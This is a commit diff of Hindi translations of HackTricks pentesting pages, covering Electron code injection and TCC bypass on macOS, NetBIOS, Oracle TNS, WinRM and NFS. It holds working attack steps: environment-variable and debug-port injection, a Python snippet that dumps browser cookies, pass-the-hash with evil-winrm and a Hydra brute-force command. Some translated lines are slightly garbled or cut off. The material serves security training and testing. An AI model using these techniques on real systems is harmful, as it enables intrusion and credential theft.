Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-12 19:49:19 +00:00
parent 2bc4fe562c
commit 56e44c9756
29 changed files with 399 additions and 396 deletions

View File

@ -13,8 +13,8 @@
- **`RunAsNode`**: यदि अक्षम किया गया, तो यह कोड इंजेक्ट करने के लिए env var **`ELECTRON_RUN_AS_NODE`** के उपयोग को रोकता है।
- **`EnableNodeCliInspectArguments`**: यदि अक्षम किया गया, तो `--inspect`, `--inspect-brk` जैसे params का सम्मान नहीं किया जाएगा। इस तरह कोड इंजेक्ट करने से बचना।
- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को रोकना इस फ़ाइल की सामग्री को संशोधित करके।
- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने के लिए खोजने के बजाय: **`app.asar`**, **`app`** और अंत में **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **गैर-मान्य कोड लोड करना** **असंभव** है।
- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को इस फ़ाइल की सामग्री को संशोधित करके रोकना
- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने के लिए खोजने के बजाय: **`app.asar`**, **`app`** और अंततः **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **गैर-मान्य कोड लोड करना** **असंभव** है।
- **`LoadBrowserProcessSpecificV8Snapshot`**: यदि सक्षम किया गया, तो ब्राउज़र प्रक्रिया अपने V8 स्नैपशॉट के लिए `browser_v8_context_snapshot.bin` नामक फ़ाइल का उपयोग करती है।
एक और दिलचस्प फ्यूज़ जो कोड इंजेक्शन को रोकने वाला नहीं है:
@ -23,7 +23,7 @@
### Checking Electron Fuses
आप एक एप्लिकेशन से **इन ध्वजों की जांच कर सकते हैं**:
आप एक एप्लिकेशन से **इन ध्वजों की जांच** कर सकते हैं:
```bash
npx @electron/fuses read --app /Applications/Slack.app
@ -46,15 +46,15 @@ macOS अनुप्रयोगों में यह आमतौर पर
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में "0" या "1" संख्या देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1` है) को **फ्यूज़ मानों को संशोधित** करने के लिए बदलें।
आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में एक संख्या "0" या "1" देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1` है) को **फ्यूज़ मानों को संशोधित** करने के लिए संशोधित करें।
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
ध्यान दें कि यदि आप इन बाइट्स को संशोधित करके **`Electron Framework`** बाइनरी को किसी एप्लिकेशन के अंदर **ओवरराइट** करने की कोशिश करते हैं, तो ऐप नहीं चलेगा।
ध्यान दें कि यदि आप इन बाइट्स को संशोधित करके **`Electron Framework` बाइनरी** को किसी एप्लिकेशन के अंदर **ओवरराइट** करने की कोशिश करते हैं, तो ऐप नहीं चलेगा।
## RCE कोड को Electron एप्लिकेशनों में जोड़ना
ऐस **बाहरी JS/HTML फ़ाइलें** हो सकती हैं जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
ऐसा हो सकता है कि **बाहरी JS/HTML फ़ाइलें** हों जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
> [!CAUTION]
> हालाँकि, वर्तमान में 2 सीमाएँ हैं:
@ -62,9 +62,9 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
> - एक ऐप को संशोधित करने के लिए **`kTCCServiceSystemPolicyAppBundles`** अनुमति **आवश्यक** है, इसलिए डिफ़ॉल्ट रूप से यह अब संभव नहीं है।
> - संकलित **`asap`** फ़ाइल में आमतौर पर फ्यूज़ **`embeddedAsarIntegrityValidation`** `और` **`onlyLoadAppFromAsar`** `सक्षम` होते हैं
>
> जिससे इस हमले के रास्ते को और अधिक जटिल (या असंभव) बना दिया गया है।
> जिससे इस हमले के रास्ते को और अधिक जटिल (या असंभव) बना दिया जाता है।
ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को बायपास करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर का नाम **`app.app/Contents`** से **`app.app/NotCon`** में बदलकर, **आपके** **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करके, इसे फिर से **`app.app/Contents`** नाम देकर और इसे निष्पादित करके
ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को बायपास करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर **`app.app/Contents`** का नाम बदलकर **`app.app/NotCon`** करना, अपने **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करना, इसे फिर से **`app.app/Contents`** नाम देना और इसे निष्पादित करना
आप asar फ़ाइल से कोड को अनपैक कर सकते हैं:
```bash
@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), यदि यह env वेरिएबल सेट है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), यदि यह env वेरिएबल सेट किया गया है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप **NODE_OPTIONS** पर्यावरण चर को **अनदेखा** करेगा जब इसे लॉन्च किया जाएगा जब तक कि पर्यावरण चर **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** अक्षम है।
> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप **NODE_OPTIONS** पर्यावरण चर को **अनदेखा** करेगा जब इसे लॉन्च किया जाएगा, जब तक कि पर्यावरण चर **`ELECTRON_RUN_AS_NODE`** सेट न किया गया हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** अक्षम है।
>
> यदि आप **`ELECTRON_RUN_AS_NODE`** सेट नहीं करते हैं, तो आपको **त्रुटि** मिलेगी: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
@ -155,11 +155,13 @@ For example:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि एन्वायरनमेंट वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे फ्यूज़ **`RunAsNode`** बंद होने पर भी **अनदेखा** किया जाएगा
> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि एन्वायरनमेंट वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** बंद ह
>
> हालाँकि, आप **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग करके कुछ जानकारी चुरा सकते हैं जैसे कि **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)
> हालाँकि, आप अभी भी **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग कर सकते हैं लेकिन पिछले पेलोड अन्य प्रक्रियाओं को निष्पादित करने के लिए काम नहीं करेगा
आप यह सीख सकते हैं कि ऐसा कैसे करना है [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें जैसे:
पैरामीटर **`--remote-debugging-port=9222`** का उपयोग करके इलेक्ट्रॉन ऐप से कुछ जानकारी चुराना संभव है जैसे **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)।
आप यह सीख सकते हैं [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें:
```python
import websocket
ws = websocket.WebSocket()
@ -167,9 +169,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
In [**इस ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695), इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड कर सके**
इस [**ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695) में, इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड कर सके**
### ऐप प्लिस्ट से इंजेक्शन
### ऐप plist से इंजेक्शन
आप इस env वेरिएबल का दुरुपयोग एक plist में स्थिरता बनाए रखने के लिए इन कुंजियों को जोड़कर कर सकते हैं:
```xml
@ -185,17 +187,17 @@ In [**इस ब्लॉगपोस्ट**](https://hackerone.com/reports/127
<true/>
</dict>
```
## TCC Bypass पुराने संस्करणों का दुरुपयोग
## TCC Bypass abusing Older Versions
> [!TIP]
> macOS का TCC डेमन एप्लिकेशन के निष्पादित संस्करण की जांच नहीं करता है। इसलिए यदि आप **Electron एप्लिकेशन में कोड इंजेक्ट नहीं कर सकते** किसी भी पिछले तकनीकों के साथ, तो आप APP का एक पिछला संस्करण डाउनलोड कर सकते हैं और उस पर कोड इंजेक्ट कर सकते हैं क्योंकि इसे अभी भी TCC विशेषाधिकार मिलेंगे (जब तक कि Trust Cache इसे रोक न दे)।
## गैर-JS कोड चलाना
## Run non JS Code
पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **उनकी TCC अनुमतियाँ विरासत में ती हैं**।\
पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **उनकी TCC अनुमतियाँ विरासत में मिलती हैं**।\
इसलिए, यदि आप कैमरा या माइक्रोफ़ोन तक पहुँचने के लिए विशेषाधिकारों का दुरुपयोग करना चाहते हैं, तो आप बस **प्रक्रिया से एक और बाइनरी चला सकते हैं**
## स्वचालित इंजेक्शन
## Automatic Injection
उपकरण [**electroniz3r**](https://github.com/r3ggi/electroniz3r) का उपयोग करना आसान है **संवेदनशील इलेक्ट्रॉन एप्लिकेशन** खोजने और उन पर कोड इंजेक्ट करने के लिए। यह उपकरण **`--inspect`** तकनीक का उपयोग करने की कोशिश करेगा:

View File

@ -10,11 +10,11 @@
- नाम पंजीकरण और समाधान के लिए नाम सेवा (पोर्ट: 137/udp और 137/tcp)।
- कनेक्शन रहित संचार के लिए डेटाग्राम वितरण सेवा (पोर्ट: 138/udp)।
- कनेक्शन-उन्मुख संचार के लिए सत्र सेवा (पोर्ट: 139/tcp)।
- कनेक्शन उन्मुख संचार के लिए सत्र सेवा (पोर्ट: 139/tcp)।
### Name Service
किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इस एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service सर्वर** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की सूची बनाने के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इसका एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service सर्वर** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की गणना के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Datagram Distribution Service
NetBIOS datagrams कनेक्शन रहित संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों को प्रसारित करने का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
NetBIOS datagrams कनेक्शन रहित संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों पर प्रसारण का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@ -49,7 +49,7 @@ PORT STATE SERVICE VERSION
137-138-139-pentesting-netbios.md
{{#endref}}
## HackTricks स्वचालित कमांड
## HackTricks स्वचालित आदेश
```
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -4,7 +4,7 @@
## Basic Information
Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
जब Oracle की गणना की जाती है, तो पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 15221529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
@ -15,7 +15,7 @@ Oracle database (Oracle DB) एक रिलेशनल डेटाबेस
1. **संस्करण गणना**: ज्ञात कमजोरियों की खोज के लिए संस्करण जानकारी की पहचान करें।
2. **TNS लिस्नर ब्रूटफोर्स**: कभी-कभी संचार स्थापित करने के लिए आवश्यक होता है।
3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) का पता लगाएं।
3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) खोजें।
4. **क्रेडेंशियल ब्रूटफोर्स**: खोजे गए SID तक पहुँचने का प्रयास करें।
5. **कोड निष्पादन**: सिस्टम पर कोड चलाने का प्रयास करें।

View File

@ -4,9 +4,9 @@
## Basic Information
Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
Oracle की जानकारी प्राप्त करते समय पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 15221529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
जब Oracle की गणना की जाती है, तो पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 15221529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
@ -15,7 +15,7 @@ Oracle की जानकारी प्राप्त करते समय
1. **संस्करण गणना**: ज्ञात कमजोरियों की खोज के लिए संस्करण जानकारी की पहचान करें।
2. **TNS लिस्नर ब्रूटफोर्स**: कभी-कभी संचार स्थापित करने के लिए आवश्यक होता है।
3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) खोजें।
3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) का पता लगाएं।
4. **क्रेडेंशियल ब्रूटफोर्स**: खोजे गए SID तक पहुँचने का प्रयास करें।
5. **कोड निष्पादन**: सिस्टम पर कोड चलाने का प्रयास करें।
@ -23,7 +23,7 @@ MSF oracle मॉड्यूल का उपयोग करने के ल
## पोस्ट
इन पोस्टों की जाच करें:
इन पोस्टों की जाच करें:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)

View File

@ -13,7 +13,7 @@ PORT STATE SERVICE
```
## Enumerate
Get all the information that a whois service has about a domain:
एक डोमेन के बारे में जो जानकारी एक whois सेवा के पास है, उसे प्राप्त करें:
```bash
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>

View File

@ -6,23 +6,23 @@
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) को **Microsoft द्वारा एक प्रोटोकॉल** के रूप में उजागर किया गया है जो **Windows सिस्टम का दूरस्थ प्रबंधन** HTTP(S) के माध्यम से सक्षम करता है, इस प्रक्रिया में SOAP का उपयोग करते हुए। यह मूल रूप से WMI द्वारा संचालित है, जो WMI संचालन के लिए एक HTTP-आधारित इंटरफ़ेस के रूप में प्रस्तुत होता है।
किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सीधी दूरस्थ प्रशासन की अनुमति देती है, जैसे SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
किसी मशीन पर WinRM की उपस्थिति PowerShell के माध्यम से सीधी दूरस्थ प्रशासन की अनुमति देती है, जैसे कि SSH अन्य ऑपरेटिंग सिस्टम के लिए काम करता है। यह निर्धारित करने के लिए कि क्या WinRM कार्यशील है, विशिष्ट पोर्ट के खुलने की जांच करने की सिफारिश की जाती है:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
उपरोक्त सूची में से एक खुला पोर्ट यह संकेत देता है कि WinRM स्थापित किया गया है, जिससे दूरस्थ सत्र शुरू करने के प्रयासों की अनुमति मिलती है।
उपरोक्त सूची में से एक खुला पोर्ट यह संकेत देता है कि WinRM सेटअप किया गया है, जिससे दूरस्थ सत्र शुरू करने के प्रयासों की अनुमति मिलती है।
### **WinRM सत्र शुरू करना**
PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet काम में आता है, जो कंप्यूटर को दूरस्थ PowerShell आदेश स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell पहुंच के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित आदेश निष्पादित किए जा सकते हैं:
PowerShell को WinRM के लिए कॉन्फ़िगर करने के लिए, Microsoft का `Enable-PSRemoting` cmdlet काम में आता है, जो कंप्यूटर को दूरस्थ PowerShell कमांड स्वीकार करने के लिए सेट करता है। ऊंचे PowerShell एक्सेस के साथ, इस कार्यक्षमता को सक्षम करने और किसी भी होस्ट को विश्वसनीय के रूप में नामित करने के लिए निम्नलिखित कमांड निष्पादित किए जा सकते हैं:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी noted किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
यह दृष्टिकोण `trustedhosts` कॉन्फ़िगरेशन में एक वाइल्डकार्ड जोड़ने से संबंधित है, यह एक कदम है जिसे इसके प्रभावों के कारण सावधानीपूर्वक विचार करने की आवश्यकता है। यह भी नोट किया गया है कि हमलावर की मशीन पर नेटवर्क प्रकार को "Public" से "Work" में बदलना आवश्यक हो सकता है।
इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से** सक्रिय किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
इसके अलावा, WinRM को `wmic` कमांड का उपयोग करके **दूरस्थ रूप से सक्रिय** किया जा सकता है, जैसा कि निम्नलिखित में प्रदर्शित किया गया है:
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
@ -40,7 +40,7 @@ Test-WSMan <target-ip>
![](<../images/image (582).png>)
- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके परिणामस्वरूप ऐसी कोई विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करत है।
- इसके विपरीत, एक लक्ष्य **जो** WinRM के लिए कॉन्फ़िगर नहीं किया गया है, उसके लिए कोई ऐसा विस्तृत जानकारी नहीं मिलेगी, जो उचित WinRM सेटअप की अनुपस्थिति को उजागर करत है।
![](<../images/image (458).png>)
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
आप अपने वर्तमान PS कंसोल का एक कमांड **_**Invoke-Command**_ के माध्यम से भी **निष्पादित कर सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर निष्पादित करना चाहते हैं**, तो आप कर सकते हैं:
आप अपने वर्तमान PS कंसोल का **कमांड भी _**Invoke-Command**_ के माध्यम से चला सकते हैं**। मान लीजिए कि आपके पास स्थानीय रूप से एक फ़ंक्शन है जिसे _**enumeration**_ कहा जाता है और आप इसे **एक दूरस्थ कंप्यूटर पर चलाना चाहते हैं**, तो आप कर सकते हैं:
```powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
तो क्लाइंट पर प्रयास करें (जानकारी [यहा](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
क्लाइंट पर प्रयास करें (जानकारी [यहा](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -146,9 +146,9 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
ईविल-वीएनआरएम का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
**evil-winrm** का उपयोग करके **IPv6 पते** से कनेक्ट करने के लिए _**/etc/hosts**_ के अंदर एक प्रविष्टि बनाएं, IPv6 पते के लिए एक **डोमेन नाम** सेट करें और उस डोमेन से कनेक्ट करें।
### ईविल-वीएनआरएम के साथ हैश पास करें
### evil-winrm के साथ हैश पास करें
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
@ -261,4 +261,6 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## **बुनियादी जानकारी**
**NFS** एक ऐसा सिस्टम है जो **क्लाइंट/सर्वर** के लिए डिज़ाइन किया गया है, जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक बिना किसी रुकावट के पहुँचने की अनुमति देता है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हैं।
**NFS** एक ऐसा सिस्टम है जो **क्लाइंट/सर्वर** के लिए डिज़ाइन किया गया है, जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक सहजता से पहुँचने की अनुमति देता है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हैं।
इस प्रोटोकॉल का एक महत्वपूर्ण पहलू इसकी अंतर्निहित **प्रमाणीकरण** या **अधिकार प्रबंधन तंत्र** की कमी है। इसके बजाय, अधिकार **फ़ाइल सिस्टम जानकारी** पर निर्भर करता है, जिसमें सर्वर को **क्लाइंट द्वारा प्रदान की गई उपयोगकर्ता जानकारी** को फ़ाइल सिस्टम के आवश्यक **अधिकार प्रारूप** में सटीक रूप से अनुवादित करने का कार्य सौंपा गया है, जो मुख्य रूप से **UNIX सिंटैक्स** का पालन करता है।
@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
आप यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर पर **उपलब्ध** है, आप इसे पूछ सकते हैं:
To know **which folder** has the server **available** to mount you an ask it using:
```bash
showmount -e <IP>
```
@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Permissions
